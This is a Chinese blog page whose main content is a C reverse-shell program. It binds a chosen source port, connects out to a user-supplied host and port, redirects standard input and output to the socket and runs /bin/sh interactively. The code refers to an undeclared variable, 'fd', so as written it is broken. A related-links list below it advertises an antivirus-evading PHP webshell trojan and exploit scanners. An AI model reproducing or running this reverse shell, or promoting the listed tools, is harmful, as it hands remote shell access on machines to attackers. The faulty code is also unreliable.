`
to8to-bruce
  • 浏览: 6751 次
社区版块
存档分类
最新评论

C版设置源端口反弹程序

 
阅读更多
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
 
void error(char *msg)
{
        perror(msg);
        exit(0);
}
 
int main(int argc, char *argv[])
{
        int sockfd, portno, lportno,n;
        struct sockaddr_in serv_addr;
        struct sockaddr_in client_addr;
        struct hostent *server;
 
        char buffer[256];
        if (argc < 3) {
                fprintf(stderr,"usage %s hostname port LocalPort\n", argv[0]);
                exit(0);
        }
        portno = atoi(argv[2]);
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
        if (sockfd < 0)
                error("ERROR opening socket");
 
 
        bzero((char *) &client_addr, sizeof(client_addr));
        lportno = atoi(argv[3]);
        client_addr.sin_family = AF_INET;
        client_addr.sin_addr.s_addr = INADDR_ANY;
        client_addr.sin_port = htons(lportno);
        if (bind(sockfd, (struct sockaddr *) &client_addr,
                                sizeof(client_addr)) < 0)
                error("ERROR on binding");
 
 
 
        server = gethostbyname(argv[1]);
        if (server == NULL) {
                fprintf(stderr,"ERROR, no such host ");
                exit(0);
        }
        bzero((char *) &serv_addr, sizeof(serv_addr));
        serv_addr.sin_family = AF_INET;
        bcopy((char *)server->h_addr,
                        (char *)&serv_addr.sin_addr.s_addr,
                        server->h_length);
        serv_addr.sin_port = htons(portno);
        if (connect(sockfd,&serv_addr,sizeof(serv_addr)) < 0)
                error("ERROR connecting");
 dup2(fd, 0);
 dup2(fd, 1);
 dup2(fd, 2);
 execl("/bin/sh","sh -i", NULL);
 close(fd); 
}
分享到:
评论

相关推荐

    vc++端口转发程序源代码

    修改的一个端口转发程序源代码,三种模式,多线程支持多连接,支持重连,有保活机制,与socks5服务器配合,可构成访问内网的socks5服务器。

    vc++ 应用源码包_1

    MP3解压程序源代码 MPEG4播放器源代码 MSN 仿真界面全部源代码 如题,非常好的界面设计实例,自绘控件的实现。 Mufan MP3播放的实现。 MYICQ 0.8 alpha1 (仿腾讯QQ整套聊天系统) 老版qq系统的实现。 MyIE3.0...

    vc++ 开发实例源码包

    MP3解压程序源代码 如题。 MPEG4播放器源代码 如题。 MSN 仿真界面全部源代码 如题,非常好的界面设计实例,自绘控件的实现。 Mufan MP3播放的实现。 MYICQ 0.8 alpha1 (仿腾讯QQ整套聊天系统) 老版qq系统的实现...

    vc++ 应用源码包_6

    MP3解压程序源代码 MPEG4播放器源代码 MSN 仿真界面全部源代码 如题,非常好的界面设计实例,自绘控件的实现。 Mufan MP3播放的实现。 MYICQ 0.8 alpha1 (仿腾讯QQ整套聊天系统) 老版qq系统的实现。 MyIE3.0...

    vc++ 应用源码包_5

    MP3解压程序源代码 MPEG4播放器源代码 MSN 仿真界面全部源代码 如题,非常好的界面设计实例,自绘控件的实现。 Mufan MP3播放的实现。 MYICQ 0.8 alpha1 (仿腾讯QQ整套聊天系统) 老版qq系统的实现。 MyIE3.0...

    2010最新php免杀木马乱码优化版下载

    有些网站是utf8版的 要用utf8.php那个马编辑 ...这样就不会出现修改文件的时候出现中文乱码 1、超强的cookie功能。 2、加强文件管理功能,增加...10、linux主机端口反弹功能。使用PERL和C双重 实现。 默认密码 999999

    vc++ 应用源码包_3

    MP3解压程序源代码 MPEG4播放器源代码 MSN 仿真界面全部源代码 如题,非常好的界面设计实例,自绘控件的实现。 Mufan MP3播放的实现。 MYICQ 0.8 alpha1 (仿腾讯QQ整套聊天系统) 老版qq系统的实现。 MyIE3.0...

    vc++ 应用源码包_2

    MP3解压程序源代码 MPEG4播放器源代码 MSN 仿真界面全部源代码 如题,非常好的界面设计实例,自绘控件的实现。 Mufan MP3播放的实现。 MYICQ 0.8 alpha1 (仿腾讯QQ整套聊天系统) 老版qq系统的实现。 MyIE3.0...

    Platypus:用go编写的现代多重反向shell会话管理器

    反向外壳程序即服务(以多种语言弹出反向外壳程序,而无需记住空闲命令) 带进度条的下载/上传文件 全交互式外壳 在反向Shell中优雅地使用vim 在反向外壳中使用CTRL + C和CTRL + Z 自动启动服务器 从配置文件初始化 ...

    基于AT89S52 单片的频率计

    首先定时/计数器T0 的计数寄存器设置一定的值,运行控制位TR0 置1,启动定 时/ 计数器0;利用定时器0 来控制1S 的定时,同时定时/计数器T1 对外部的待 第2 页共27 页 测信号进行计数,定时结束时TR1 清0 ,停止计数;...

    Aggressor:Ladon for Cobalt Strike、大型网络渗透扫描器、漏洞利用检测 MS17010 passwordbrute-forcepsexecatexecsshexecwebshel​​lsmbexecnetcatosscannetscanstruts2PocweblogicExp

    Ladon一款用于大型网络渗透的多线程插件化综合扫描神器,含端口扫描、服务识别、网络资产、密码爆破、高危漏洞检测以及一键GetShell,支持批量A段/B段/C段以及跨网段扫描,支持URL、主机、域名列表扫描。7.0版本内置...

    RFD77402 短距离测量模块Arduino程序及应用-电路方案

    RFD77402使用红外VCSEL(垂直腔面发射激光器)模块来测量从目标反弹所需的时间。这样可以获得高达2米的低成本毫米读数!为了更容易使用这个突破,所有通信都是通过I2C 专门制定的,利用我们方便的Qwiic系统。 得益于...

    测试培训教材

    原因:8080端口被其他应用程序占用。 用netstat查看谁占用了8080端口 netstat -ano 解决办法1:修改其他程序的端口使用 解决办法2:修改JBOSS的启动端口 JBOSS_HOME\server\default\deploy\jbossweb-tomcat...

    网络安全论文.doc

    6 3.5 DDoS攻击新技术——反弹技术 7 3.6 DDoS攻击下的防御 7 4 缓冲区溢出攻击与防御 8 4.1 缓冲区溢出攻击简介 8 4.2缓冲区溢出攻击 9 4.3缓冲区溢出的防御 10 5 一个基于Netbios的攻击实例 11 5.1 攻击步骤 11 ...

    网络安全论文(1).doc

    6 3.5 DDoS攻击新技术——反弹技术 7 3.6 DDoS攻击下的防御 7 4 缓冲区溢出攻击与防御 8 4.1 缓冲区溢出攻击简介 8 4.2缓冲区溢出攻击 9 4.3缓冲区溢出的防御 10 5 一个基于Netbios的攻击实例 11 5.1 攻击步骤 11 ...

Global site tag (gtag.js) - Google Analytics